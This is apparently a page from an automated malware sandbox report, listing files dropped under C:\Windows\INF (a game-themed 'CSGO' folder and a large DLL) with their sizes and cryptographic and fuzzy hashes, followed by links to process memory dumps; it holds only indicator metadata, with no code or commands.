Size 137KB
SHA256 5783058e67962d9a8f7b87848770aa1408555e33da4c4cabc7c9ad9ee8a8ad79
MD5 2cdd4a2c2ff18c2b5ce2238120167014
SHA1 e80ab0b65b4b3aabc506315003fcf885cf391448
SHA512 7c9178528abf47c3fd1b73265417a42b48315a0b987c070b5ff928cfdb0f93fba4a9182e22581f5a4ea16d95b0e494a0b6e572dc3e44457865f78e4ba8edb96a
SSDEEP 3072:b2myIgUlfqa+hJzAomAWXKtFJGOuO9Qm5O3:b2myIgUsagJzo7a/k3mnO3
TLSH
T13DD3126348910307617ECB31FA212DAED7AF2C601D381BEFED96968B7690D2027D64CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Marshal.obj

Path C:\Windows\INF\CSGO\Marshal.obj
Size 1.4MB
SHA256 bbeec8209c827c642d1a7f005de51d8779a1006e3726cc0d1796ff21111cfa1c
MD5 493a7081b28177b944933ec9c6340dc9
SHA1 e3f88495c0618382c8b20c0369ea912552316c40
SHA512 e01490f7b312fa4ce8e54d85f7d45232fd01d5ca63203561829713e51708caec40f339dbd59ff7b4d05112a74c10c332b4ddc62aa1801c6df9ac0ff02c06caf6
SSDEEP 3072:4ArRQcyucXEqHDYKvpg9+YTDDKcAZz4X7jxxaTdwHwx74q3EOkbWKVsj:/QcyucXEqHAQxCOkbWKG
TLSH
T1F56575F47BA460D1BA0FE4B9CC3A0AA962573C773ED5D9C80EA59C21E933AD91F14C41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bicak.obj

Path C:\Windows\INF\CSGO\bicak.obj
Size 65KB
SHA256 a55874a705a8d308c04983173b3a0660f798dc446795cc0d6b8bba020fd651e3
MD5 32f55d0cd43a439276be9d35bb0f4c6d
SHA1 0087df8effaa9d4d408952f8bae1c335e20c0242
SHA512 b989a700fd549c51db7f9211ece3326d14b30802af2d3cdaa81ed9eacb71d9ab94abd18e88e1b42f2a33dcbd76d8714f10b4cfb495a524bee490dc7a94f6583e
SSDEEP 768:o4sHr0nFY/MOKoLXk//QW2wtTFCP4wbqSzbztaZgS:oNHUFY/Mc232Fbz4/
TLSH
T1F063C0F97BF05292745EE575AC3A1BEC112235EF6AA0D9CC0DB59C72D433AD82F24809
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

knife.png

Path C:\Windows\INF\CSGO\knife.png
Size 11KB
SHA256 bbbf1f05f4b000341e9ce3683720abd3a7f2d2ccd0e1ff980cb0d0fcf72fe7dc
MD5 fe182849195e9bf031153aaacf99b9d1
SHA1 778e59f5ed391e9818436a4d75101929ece19135
SHA512 6a2797ae048ad8c4219812b7d5040d092d61137cb73fee63f05e227ef9a3a5566d0c36977fa74de97d3f974dc461f51bdcf3633bcf8eeff06307f6c3a0a10632
SSDEEP 192:eUCpK6MIqgR3agI2H8CDx1Xxei3NoSb6rlrN/zqotw0oFGn1C3Htn+:eNpqUR3AIDx1XxjNoSb6rlrFqLY0N+
TLSH
T1AB420C7FDB023F3D8A887D5718DEA247CB4C5317E4D4AB5899E805B9A4C38BC41E69C0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

calerax.dll

Path C:\Windows\INF\calerax.dll
Size 18.6MB
SHA256 9a438d15526836239a1a46277de7590c2dbdfd991fcb146163c4afee2ab56c6e
MD5 3b9a0def8a8769612f7f4e6a8ff22e8c
SHA1 4f7ff56241f6122be390753057142910697e2ea8
SHA512 070329e6eff7075890f882a8919c1bcb50ddf4cf8235c2bc7a36efcffd0bf952c761bce290cfb22f5d8feb4cff026e1b91fea0f27fbbf272a9615ba1ecce46c6
SSDEEP 393216:nXSnBcHqB53pzOVo24aRosSkB53juVC+vQrsvkW:nXCUqVzOV14amsSkPiVC+SCt
TLSH
T13F1723CBD1E9A7ACD4835A44398313C668C4705FD9FE492D3ACF1C027521DA986CFAB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1208-516-0x00007FF7B4610000-0x00007FF7B6512000-memory.dmp

Download

memory/1208-297-0x00007FFE18B30000-0x00007FFE18B32000-memory.dmp

Download

memory/1208-303-0x00007FF7B4610000-0x00007FF7B6512000-memory.dmp

Download

memory/1208-299-0x00007FF7B46CF000-0x00007FF7B52B1000-memory.dmp

Download

memory/1208-515-0x000002682E580000-0x000002682E8D3000-memory.dmp

Download

memory/1208-432-0x000002682E580000-0x000002682E8D3000-memory.dmp

Download

memory/1208-348-0x000002682C8E0000-0x000002682C8E1000-memory.dmp

Download

memory/1208-321-0x00007FF7B4610000-0x00007FF7B6512000-memory.dmp

Download

memory/1208-319-0x00007FF7B46CF000-0x00007FF7B52B1000-memory.dmp

Download

memory/1208-298-0x00007FF7B4610000-0x00007FF7B6512000-memory.dmp

Download

memory/2212-548-0x0000022A946C0000-0x0000022A94A13000-memory.dmp

Download

memory/2212-520-0x00007FF7B4610000-0x00007FF7B6512000-memory.dmp

Download

memory/3200-538-0x000001C340470000-0x000001C34047C000-memory.dmp

Download

memory/3560-551-0x00007FF7B4610000-0x00007FF7B6512000-memory.dmp

Download

memory/3560-700-0x0000026271120000-0x0000026271473000-memory.dmp

Download

memory/3560-800-0x0000026271120000-0x0000026271473000-memory.dmp

Download

memory/3560-574-0x0000026271120000-0x0000026271473000-memory.dmp

Download

memory/5892-570-0x0000024D42ED0000-0x0000024D42EDC000-memory.dmp

Download

memory/6044-311-0x000001C1EF280000-0x000001C1EF2A2000-memory.dmp

Download

memory/6044-317-0x000001C1ED4A0000-0x000001C1ED4AC000-memory.dmp

Download